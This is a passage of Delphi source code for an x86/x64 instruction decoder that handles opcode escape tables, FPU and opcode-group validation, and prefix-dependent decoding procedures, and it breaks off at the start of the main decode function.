  Inc(PInst^.NextInst);
  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);
end;
{ .$ENDREGION }
{ .$REGION 'ESCAPE' }
{ ========================== ESCAPE =============================== }

procedure JumpError(PInst: PInstruction);
begin
  { Wrong Vex.mmmmm value ! }
  SetInstError(PInst, ERROR_VEX_ESCAPE);
end;

procedure JumpToTableTwoByte(PInst: PInstruction);
begin
  { Implied $0F OpCode => Jump to table TwoByteTable }
  PInst^.OpTable := tbTwoByte;
  DecoderProcTable[TwoByteTable[PInst^.NextInst^]](PInst);
end;

procedure JumpToTableThreeByte_38(PInst: PInstruction);
begin
  { Implied $0F$38 OpCodes => Jump to table ThreeByteTable.38 }
  PInst^.OpTable := tbThreeByte;
  DecoderProcTable[ThreeByteTable38[PInst^.NextInst^]](PInst);
end;

procedure JumpToTableThreeByte_3A(PInst: PInstruction);
begin
  { Implied $0F$3A OpCodes => Jump to table ThreeByteTable.3A }
  PInst^.OpTable := tbThreeByte;
  DecoderProcTable[ThreeByteTable3A[PInst^.NextInst^]](PInst);
end;

procedure Decode_Escape_2_Byte(PInst: PInstruction);
begin
  { Two Byte OpCode Escape ! }
  PInst^.OpTable := tbTwoByte;
  Inc(PInst^.NextInst);
  DecoderProcTable[TwoByteTable[PInst^.NextInst^]](PInst);
end;

procedure Decode_Escape_3_Byte(PInst: PInstruction);
var
  P: Byte;
begin
  { Three Byte OpCode Escape ! }
  PInst^.OpTable := tbThreeByte;
  P := PInst^.NextInst^;
  Inc(PInst^.NextInst);
  if P = $38 then
    DecoderProcTable[ThreeByteTable38[PInst^.NextInst^]](PInst)
  else
    DecoderProcTable[ThreeByteTable3A[PInst^.NextInst^]](PInst);
end;

{ .$ENDREGION }
{ .$REGION 'FPU' }
{ ========================== FPU =============================== }

procedure Decode_Escape_FPU_D8(PInst: PInstruction);
begin
  { All OpCode are valid for $D8 ! }
  PInst^.OpTable := tbFPU;
  Decode_NA_ModRm(PInst);
end;

procedure Decode_Escape_FPU_D9(PInst: PInstruction);
var
  P: PByte;
  ModRm: Byte;
  Reg: Byte;
begin
  PInst^.OpTable := tbFPU;
  P := PInst^.NextInst;
  Inc(P);
  ModRm := P^;
  Reg := GetModRm_Reg(ModRm);
  if ModRm < $C0 then
  begin
    if Reg = $01 then
    begin
      Decode_Invalid_FPU(PInst);
      Exit;
    end;
  end
  else
  begin
    if ModRm in [$D1 .. $DF, $E2, $E3, $EF] then
    begin
      Decode_Invalid_FPU(PInst);
      Exit;
    end;
  end;
  Decode_NA_ModRm(PInst);
end;

procedure Decode_Escape_FPU_DA(PInst: PInstruction);
var
  P: PByte;
  ModRm: Byte;
begin
  PInst^.OpTable := tbFPU;
  P := PInst^.NextInst;
  Inc(P);
  ModRm := P^;
  if ModRm > $C0 then
  begin
    if ModRm in [$E0 .. $E8, $EA .. $EF, $F0 .. $FF] then
    begin
      Decode_Invalid_FPU(PInst);
      Exit;
    end;
  end;
  Decode_NA_ModRm(PInst);
end;

procedure Decode_Escape_FPU_DB(PInst: PInstruction);
var
  P: PByte;
  ModRm: Byte;
  Reg: Byte;
begin
  PInst^.OpTable := tbFPU;
  P := PInst^.NextInst;
  Inc(P);
  ModRm := P^;
  Reg := GetModRm_Reg(ModRm);
  if ModRm < $C0 then
  begin
    if (Reg = $04) or (Reg = $06) then
    begin
      Decode_Invalid_FPU(PInst);
      Exit;
    end;
  end
  else
  begin
    if ModRm in [$E0, $E1, $E4 .. $E7, $F8 .. $FF] then
    begin
      Decode_Invalid_FPU(PInst);
      Exit;
    end;
  end;
  Decode_NA_ModRm(PInst);
end;

procedure Decode_Escape_FPU_DC(PInst: PInstruction);
var
  P: PByte;
  ModRm: Byte;
begin
  PInst^.OpTable := tbFPU;
  P := PInst^.NextInst;
  Inc(P);
  ModRm := P^;
  if ModRm > $C0 then
  begin
    if ModRm in [$D0 .. $DF] then
    begin
      Decode_Invalid_FPU(PInst);
      Exit;
    end;
  end;
  Decode_NA_ModRm(PInst);
end;

procedure Decode_Escape_FPU_DD(PInst: PInstruction);
var
  P: PByte;
  ModRm: Byte;
  Reg: Byte;
begin
  PInst^.OpTable := tbFPU;
  P := PInst^.NextInst;
  Inc(P);
  ModRm := P^;
  Reg := GetModRm_Reg(ModRm);
  if ModRm < $C0 then
  begin
    if (Reg = $05) then
    begin
      Decode_Invalid_FPU(PInst);
      Exit;
    end;
  end
  else
  begin
    if ModRm in [$C8 .. $CF, $F0 .. $FF] then
    begin
      Decode_Invalid_FPU(PInst);
      Exit;
    end;
  end;
  Decode_NA_ModRm(PInst);
end;

procedure Decode_Escape_FPU_DE(PInst: PInstruction);
var
  P: PByte;
  ModRm: Byte;
begin
  PInst^.OpTable := tbFPU;
  P := PInst^.NextInst;
  Inc(P);
  ModRm := P^;
  if ModRm > $C0 then
  begin
    if ModRm in [$D0 .. $D8, $DA .. $DF] then
    begin
      Decode_Invalid_FPU(PInst);
      Exit;
    end;
  end;
  Decode_NA_ModRm(PInst);
end;

procedure Decode_Escape_FPU_DF(PInst: PInstruction);
var
  P: PByte;
  ModRm: Byte;
begin
  PInst^.OpTable := tbFPU;
  P := PInst^.NextInst;
  Inc(P);
  ModRm := P^;
  if ModRm > $C0 then
  begin
    if ModRm in [$C0 .. $CF, $D0 .. $DF, $E1 .. $E7, $F8 .. $FF] then
    begin
      Decode_Invalid_FPU(PInst);
      Exit;
    end;
  end;
  Decode_NA_ModRm(PInst);
end;

{ .$ENDREGION }
{ .$REGION 'GROUPS' }
{ ========================== GROUPS =============================== }

procedure Decode_Group_1(PInst: PInstruction);
begin
  SetGroup(PInst);
  if not(PInst^.NextInst^ in [$80 .. $83]) then
    SetInstError(PInst, INVALID_GROUP_OPCODE);
  if PInst^.NextInst^ = $81 then
    Decode_NA_ModRm_Iz(PInst)
  else
    Decode_NA_ModRm_Ib(PInst);
end;

procedure Decode_Group_1A(PInst: PInstruction);
var
  P: PByte;
  Reg: Byte;
begin
  SetGroup(PInst);
  if (PInst^.NextInst^ <> $8F) then
    SetInstError(PInst, INVALID_GROUP_OPCODE);
  P := PInst^.NextInst;
  Inc(P); // ModRm !
  Reg := GetModRm_Reg(P^);
  if (Reg = $00) then
  begin
    Decode_NA_ModRm(PInst);
    Exit;
  end;
  Decode_Invalid_Group(PInst);
end;

procedure Decode_Group_2(PInst: PInstruction);
begin
  SetGroup(PInst);
  if not(PInst^.NextInst^ in [$C0 .. $C1, $D0 .. $D3]) then
    SetInstError(PInst, INVALID_GROUP_OPCODE);
  if (PInst^.NextInst^ in [$C0, $C1]) then
    Decode_NA_ModRm_Ib(PInst)
  else
    Decode_NA_ModRm(PInst);
end;

procedure Decode_Group_3(PInst: PInstruction);
var
  P: PByte;
  Reg: Byte;
begin
  SetGroup(PInst);
  if not(PInst^.NextInst^ in [$F6, $F7]) then
    SetInstError(PInst, INVALID_GROUP_OPCODE);
  P := PInst^.NextInst;
  Inc(P);
  Reg := GetModRm_Reg(P^);
  if (Reg < $02) then
  begin
    { [TEST Reg,Immb] & [TEST Reg,Immz] }
    if PInst^.NextInst^ = $F6 then
      Decode_NA_ModRm_Ib(PInst)
    else
      Decode_NA_ModRm_Iz(PInst);
    Exit;
  end;
  Decode_NA_ModRm(PInst);
end;

procedure Decode_Group_4_INC_DEC(PInst: PInstruction);
var
  P: PByte;
  Reg: Byte;
begin
  SetGroup(PInst);
  Assert(PInst^.NextInst^ = $FE);
  P := PInst^.NextInst;
  Inc(P); // ModRm
  Reg := GetModRm_Reg(P^);
  if (Reg < $02) then
  begin
    { INC/DEC REG }
    Decode_NA_ModRm(PInst);
    Exit;
  end;
  Decode_Invalid_Group(PInst);
end;

procedure Decode_Group_5_INC_DEC(PInst: PInstruction);
var
  Reg: Byte;
  P: PByte;
const
  GroupProc: array [0 .. 7] of TDecoderProc = ( //
    { 00 } Decode_NA_ModRm, { INC Ev }
    { 01 } Decode_NA_ModRm, { DEC Ev }
    { 02 } Decode_CALL_ModRm, { CALL Ev }
    { 03 } Decode_CALL_Mp, { CALL Mp }
    { 04 } Decode_JMP_ModRm, { JMP Ev }
    { 05 } Decode_JMP_Mp, { JMP Mp }
    { 06 } Decode_NA_ModRm, { PUSH Ev }
    { 07 } Decode_Invalid_Group { InvalidOpCode }
    );
begin
  SetGroup(PInst);
  if (PInst^.NextInst^ <> $FF) then
    SetInstError(PInst, INVALID_GROUP_OPCODE);
  P := PInst^.NextInst;
  Inc(P); // ModRm
  Reg := GetModRm_Reg(P^);
  GroupProc[Reg](PInst);
end;

procedure Decode_Group_6(PInst: PInstruction);
var
  P: PByte;
  Reg: Byte;
begin
  SetGroup(PInst);
  if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $00) then
    SetInstError(PInst, INVALID_GROUP_OPCODE);
  P := PInst^.NextInst;
  Inc(P);
  Reg := GetModRm_Reg(P^);
  if Reg = $07 then
  begin
    Decode_Invalid_Group(PInst);
    Exit;
  end;
  Decode_NA_ModRm(PInst);
end;

procedure Decode_Group_7(PInst: PInstruction);
var
  P: PByte;
  iMod, Reg: Byte;
begin
  SetGroup(PInst);
  if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $01) then
    SetInstError(PInst, INVALID_GROUP_OPCODE);
  P := PInst^.NextInst;
  Inc(P);
  iMod := GetModRm_Mod(P^);
  Reg := GetModRm_Reg(P^);
  if (Reg = $04) or (Reg = $06) then
  begin
    Decode_NA_ModRm(PInst);
    Exit;
  end
  else if Reg = $05 then
  begin
    Decode_Invalid_Group(PInst);
    Exit;
  end;
  if iMod <> $03 then
  begin
    Decode_NA_ModRm(PInst);
    Exit;
  end;
  Decode_Invalid_Group(PInst);
end;

procedure Decode_Group_8(PInst: PInstruction);
var
  P: PByte;
  Reg: Byte;
begin
  SetGroup(PInst);
  if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $BA) then
    SetInstError(PInst, INVALID_GROUP_OPCODE);
  P := PInst^.NextInst;
  Inc(P);
  Reg := GetModRm_Reg(P^);
  if Reg > $03 then
  begin
    Decode_NA_ModRm_Ib(PInst);
    Exit;
  end;
  Decode_Invalid_Group(PInst);
end;

procedure Decode_Group_9(PInst: PInstruction);
var
  P: PByte;
  iMod, Reg: Byte;
begin
  SetGroup(PInst);
  if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $C7) then
    SetInstError(PInst, INVALID_GROUP_OPCODE);
  P := PInst^.NextInst;
  Inc(P);
  iMod := GetModRm_Mod(P^);
  Reg := GetModRm_Reg(P^);
  if (iMod = $03) and (Reg > $05) then
  begin
    Decode_NA_ModRm(PInst);
    Exit;
  end;

  if (iMod <> $03) then
  begin
    { Mod = Mem }
    if (((PInst^.LID.MndPrf = $00) and (Reg = $01)) or //
      ((PInst^.LID.MndPrf = $66) and (Reg = $06)) or //
      ((PInst^.LID.MndPrf = $F3) and (Reg > $05))) then
    begin
      Decode_NA_ModRm(PInst);
      Exit;
    end;
  end;
  Decode_Invalid_Group(PInst);
end;

procedure Decode_Group_10_UD2(PInst: PInstruction);
begin
  SetGroup(PInst);
  Decode_InvalidOpCode(PInst);
end;

procedure Decode_Group_11(PInst: PInstruction);
var
  P: PByte;
  Reg: Byte;
begin
  SetGroup(PInst);
  if not(PInst^.NextInst^ in [$C6, $C7]) then
    SetInstError(PInst, INVALID_GROUP_OPCODE);
  P := PInst^.NextInst;
  Inc(P);
  Reg := GetModRm_Reg(P^);
  if PInst^.NextInst^ = $C6 then
  begin
    if (Reg = $00) then
    begin
      { XABORT Instruction }
      Decode_NA_ModRm_Ib(PInst);
      Exit;
    end
    else if (Reg = $07) then
    begin
      Decode_NA_Ib(PInst);
      Exit;
    end
  end
  else if PInst^.NextInst^ = $C7 then
  begin
    if Reg = $00 then
    begin
      Decode_NA_ModRm_Iz(PInst);
      Exit;
    end
    else if Reg = $07 then
    begin
      { XBEGIN Instruction }
      SetOpCode(PInst);
      Inc(PInst^.NextInst);
      Decode_J(PInst, PInst^.LID.zOpSize);
      PInst^.OpType := $00;
      Exit;
    end;
  end;
  Decode_Invalid_Group(PInst);
end;

procedure Decode_Group_12(PInst: PInstruction);
var
  P: PByte;
  iMod, Reg: Byte;
begin
  SetGroup(PInst);
  { Group 12 & 13 }
  if (PInst^.OpTable <> tbTwoByte) and not(PInst^.NextInst^ in [$71, $72]) then
    SetInstError(PInst, INVALID_GROUP_OPCODE);
  P := PInst^.NextInst;
  Inc(P);
  iMod := GetModRm_Mod(P^);
  Reg := GetModRm_Reg(P^);
  if (iMod = $03) and (Reg in [$02, $04, $06]) then
  begin
    Decode_NA_ModRm_Ib(PInst);
    Exit;
  end;
  Decode_Invalid_Group(PInst);
end;

procedure Decode_Group_13(PInst: PInstruction);
begin
  SetGroup(PInst);
  { Group 13 has the same instructions signature as Group 12 ! }
  Decode_Group_12(PInst);
end;

procedure Decode_Group_14(PInst: PInstruction);
var
  P: PByte;
  iMod, Reg: Byte;
begin
  SetGroup(PInst);
  if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $73) then
    SetInstError(PInst, INVALID_GROUP_OPCODE);
  P := PInst^.NextInst;
  Inc(P);
  iMod := GetModRm_Mod(P^);
  Reg := GetModRm_Reg(P^);
  if iMod = $03 then
  begin
    if (Reg = $02) or (Reg = $06) then
    begin
      Decode_NA_ModRm_Ib(PInst);
      Exit;
    end;
    if (PInst^.LID.MndPrf = $66) and ((Reg = $03) or (Reg = $07)) then
    begin
      Decode_NA_ModRm_Ib(PInst);
      Exit;
    end;
  end;
  Decode_Invalid_Group(PInst);
end;

procedure Decode_Group_15(PInst: PInstruction);
var
  P: PByte;
  iMod, Reg: Byte;
begin
  SetGroup(PInst);
  if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $AE) then
    SetInstError(PInst, INVALID_GROUP_OPCODE);
  P := PInst^.NextInst;
  Inc(P);
  iMod := GetModRm_Mod(P^);
  Reg := GetModRm_Reg(P^);
  if (iMod = $03) and (PInst^.LID.MndPrf = $F3) and (Reg < $04) then
  begin
    Decode_NA_ModRm(PInst);
    Exit;
  end;
  Decode_Invalid_Group(PInst);
end;

procedure Decode_Group_16(PInst: PInstruction);
var
  P: PByte;
  iMod, Reg: Byte;
begin
  SetGroup(PInst);
  if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $18) then
    SetInstError(PInst, INVALID_GROUP_OPCODE);
  P := PInst^.NextInst;
  Inc(P);
  iMod := GetModRm_Mod(P^);
  Reg := GetModRm_Reg(P^);
  if (iMod <> $03) and (Reg < $04) then
  begin
    { Prefetch group instructions. }
    Decode_NA_ModRm(PInst);
    Exit;
  end;
  Decode_Invalid_Group(PInst);
end;

procedure Decode_Group_17(PInst: PInstruction);
var
  P: PByte;
  Reg: Byte;
begin
  SetGroup(PInst);
  P := PInst^.NextInst;
  Inc(P);
  Reg := GetModRm_Reg(P^);
  if (Reg > $00) and (Reg < $04) then
  begin
    Decode_NA_ModRm(PInst);
    Exit;
  end;
  Decode_Invalid_Group(PInst);
end;

{ .$ENDREGION }
{ .$REGION 'DECODERS' }
{ ========================== DECODERS PROC =============================== }

procedure Decode_NA_CALL_Ap_I64(PInst: PInstruction);
begin
  { Instruction is only valid for x32 ! }
  if PInst^.Archi = CPUX64 then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  PInst^.OpType := otCALL;
  Decode_Ap(PInst);
end;

procedure Decode_NA_ModRm(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 }
  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_ModRm(PInst);
end;

procedure Decode_NA_Ib(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 }
  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_Imm(PInst, ops8bits);
end;

procedure Decode_NA_Iz(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 }
  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_Imm(PInst, PInst^.LID.zOpSize);
end;

procedure Decode_NA_I64(PInst: PInstruction);
begin
  { Instruction is invalid on PM64 }
  { Only valid when mandatory prefix is : $00 }
  if (PInst^.Archi = CPUX64) or ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
end;

procedure Decode_NA(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 }
  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
end;

procedure Decode_NA_ModRm_I64(PInst: PInstruction);
begin
  { Instruction is invalid on PM64 }
  { Only valid when mandatory prefix is : $00 }
  if (PInst^.Archi = CPUX64) or ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_ModRm(PInst);
end;

procedure Decode_NA_ModRm_Iz(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 }
  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_ModRm(PInst);
  Decode_Imm(PInst, PInst^.LID.zOpSize);
end;

procedure Decode_NA_ModRm_Ib(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 }
  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_ModRm(PInst);
  Decode_Imm(PInst, ops8bits);
end;

procedure Decode_NA_Jb_Df64(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 }
  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  PInst^.OperandFlags := opdDf64;
  Decode_J(PInst, ops8bits);
end;

procedure Decode_NA_RET(PInst: PInstruction);
begin
  SetOpCode(PInst);
  PInst^.OpType := otRET;
  if PInst^.OpCode in [$C2, $CA] then
    Decode_Imm(PInst, ops16bits);
end;

procedure Decode_NA_Ib_I64(PInst: PInstruction);
begin
  { Instruction is invalid on PM64 }
  { Only valid when mandatory prefix is : $00 }
  if (PInst^.Archi = CPUX64) or ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_Imm(PInst, ops8bits);
end;

procedure Decode_NA_CALL_Jz_Df64(PInst: PInstruction);
begin
  SetOpCode(PInst);
  PInst^.OpType := otCALL;
  PInst^.OperandFlags := opdDf64;
  Decode_J(PInst, PInst^.LID.zOpSize);
end;

procedure Decode_NA_JMP_Jz_Df64(PInst: PInstruction);
begin
  SetOpCode(PInst);
  PInst^.OpType := otJMP;
  PInst^.OperandFlags := opdDf64;
  Decode_J(PInst, PInst^.LID.zOpSize);
end;

procedure Decode_NA_JMP_Ap_I64(PInst: PInstruction);
begin
  if PInst^.Archi = CPUX64 then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  PInst^.OpType := otJMP;
  Decode_Ap(PInst);
end;

procedure Decode_NA_JMP_Jb_Df64(PInst: PInstruction);
begin
  SetOpCode(PInst);
  PInst^.OpType := otJMP;
  PInst^.OperandFlags := opdDf64;
  Decode_J(PInst, ops8bits);
end;

procedure Decode_CALL_ModRm(PInst: PInstruction);
begin
  PInst^.OpType := otCALL;
  Decode_Branch_ModRm(PInst);
end;

procedure Decode_CALL_Mp(PInst: PInstruction);
begin
  PInst^.OpType := otCALL;
  Decode_Mp(PInst);
end;

procedure Decode_JMP_ModRm(PInst: PInstruction);
begin
  PInst^.OpType := otJMP;
  Decode_Branch_ModRm(PInst);
end;

procedure Decode_JMP_Mp(PInst: PInstruction);
begin
  PInst^.OpType := otJMP;
  Decode_Mp(PInst);
end;

procedure Decode_NA_CALL(PInst: PInstruction);
begin
  { SYSCALL! }
  SetOpCode(PInst);
end;

procedure Decode_NA_66_F2_F3_ModRm(PInst: PInstruction);
begin
  SetOpCode(PInst);
  Decode_ModRm(PInst);
end;

procedure Decode_NA_66_ModRm(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 or $66 }
  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf in [$00, $66])) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_ModRm(PInst);
end;

procedure Decode_NA_66_F3_ModRm(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 or $66 or $F3 }
  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf = $F2)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_ModRm(PInst);
end;

procedure Decode_NA_F3_ModRm(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 or $F3 }
  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf in [$00, $F3])) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_ModRm(PInst);
end;

procedure Decode_66_ModRm(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $66 }
  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $66)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_ModRm(PInst);
end;

procedure Decode_NA_66_F2_F3_ModRm_Ib(PInst: PInstruction);
begin
  SetOpCode(PInst);
  Decode_ModRm(PInst);
  Decode_Imm(PInst, ops8bits);
end;

procedure Decode_66_F2_ModRm(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $66 or $F2 }
  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf in [$66, $F2])) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_ModRm(PInst);
end;

procedure Decode_F3_ModRm(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $F3 }
  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $F3)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_ModRm(PInst);
end;

procedure Decode_NA_66_ModRm_Ib(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 or $66 }
  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf in [$00, $66])) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_ModRm(PInst);
  Decode_Imm(PInst, ops8bits);
end;

procedure Decode_66_F2_F3_ModRm(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $66 or $F2 or $F3 }
  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf = $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_ModRm(PInst);
end;

procedure Decode_F2_ModRm(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $F2 }
  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $F2)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_ModRm(PInst);
end;

procedure Decode_SP_T38_F0_F7(PInst: PInstruction);
var
  Prf66F2: Boolean;
begin
  if PInst^.NextInst^ = $F3 then
  begin
    Decode_Group_17(PInst);
    Exit;
  end;

  { 66 & F2 }
  Prf66F2 := PInst^.Prefixes and (Prf_OpSize or Prf_Repne) = (Prf_OpSize or Prf_Repne);

  if Prf66F2 then
  begin
    { Valid only for CRC32 instruction ! }
    if (PInst^.NextInst^ = $F0) or (PInst^.NextInst^ = $F1) then
    begin
      Decode_NA_ModRm(PInst);
      Exit;
    end
    else
    begin
      Decode_InvalidOpCode(PInst);
      Exit;
    end;
  end
  else if PInst^.LID.MndPrf = $00 then
  begin
    if (PInst^.NextInst^ = $F4) or (PInst^.NextInst^ = $F6) then
    begin
      Decode_InvalidOpCode(PInst);
      Exit;
    end;
  end
  else if PInst^.LID.MndPrf = $66 then
  begin
    if (PInst^.NextInst^ in [$F2 .. $F5]) then
    begin
      Decode_InvalidOpCode(PInst);
      Exit;
    end;
  end
  else if PInst^.LID.MndPrf = $F3 then
  begin
    if (PInst^.NextInst^ < $F5) then
    begin
      Decode_InvalidOpCode(PInst);
      Exit;
    end;
  end
  else if PInst^.LID.MndPrf = $F2 then
  begin
    if (PInst^.NextInst^ in [$F2 .. $F4]) then
    begin
      Decode_InvalidOpCode(PInst);
      Exit;
    end;
  end;
  Decode_NA_ModRm(PInst);
end;

procedure Decode_66_ModRm_Ib(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $66 }
  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $66)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_ModRm(PInst);
  Decode_Imm(PInst, ops8bits);
end;

procedure Decode_F2_ModRm_Ib(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $F2 }
  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $F2)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_ModRm(PInst);
  Decode_Imm(PInst, ops8bits);
end;

procedure Decode_NA_RET_Iw_Df64(PInst: PInstruction);
begin
  PInst^.OpType := otRET;
  SetOpCode(PInst);
  PInst^.OperandFlags := opdDf64;
  Decode_Imm(PInst, ops16bits);
end;

procedure Decode_NA_D64(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 }
  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  PInst^.OperandFlags := opdD64;
end;

procedure Decode_NA_Iz_D64(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 }
  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  PInst^.OperandFlags := opdD64;
  Decode_Imm(PInst, PInst^.LID.zOpSize);
end;

procedure Decode_NA_Ib_D64(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 }
  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  PInst^.OperandFlags := opdD64;
  Decode_Imm(PInst, ops8bits);
end;

procedure Decode_NA_RET_Df64(PInst: PInstruction);
begin
  PInst^.OpType := otRET;
  PInst^.OperandFlags := opdDf64;
  SetOpCode(PInst);
end;

procedure Decode_NA_RET_Iw(PInst: PInstruction);
begin
  PInst^.OpType := otRET;
  SetOpCode(PInst);
  Decode_Imm(PInst, ops16bits);
end;

procedure Decode_NA_Iw_Ib_D64(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 }
  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  PInst^.OperandFlags := opdD64;
  Decode_Imm(PInst, ops16bits);
  Decode_Imm(PInst, ops8bits);
end;

procedure Decode_NA_ModRm_F64(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 }
  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  PInst^.OperandFlags := opdF64;
  Decode_ModRm(PInst);
end;

procedure Decode_NA_Jz_Df64(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 }
  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  PInst^.OperandFlags := opdDf64;
  Decode_J(PInst, PInst^.LID.zOpSize);
end;

procedure Decode_NA_OfstV(PInst: PInstruction);
begin
  SetOpCode(PInst);
  Decode_Imm(PInst, PInst.LID.vOpSize);
  PInst.Disp.Value := PInst.Imm.Value;
  PInst.Disp.Size := PInst.Imm.Size;
  PInst.Disp.Flags := dfUsed or dfOffset;
  PInst.Imm.Size := $00;
  PInst.Imm.Value := $00;
  PInst.Imm.Flags := $00;
end;

procedure Decode_NA_Iv(PInst: PInstruction);
begin
  { Only valid when mandatory prefix is : $00 }
  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then
  begin
    Decode_InvalidOpCode(PInst);
    Exit;
  end;
  SetOpCode(PInst);
  Decode_Imm(PInst, PInst^.LID.vOpSize);
end;
{ .$ENDREGION }

function DecodeInst(PInst: PInstruction): Integer;
var
  P: PByte;
  LArchi: Byte;
  LAddr: PByte;
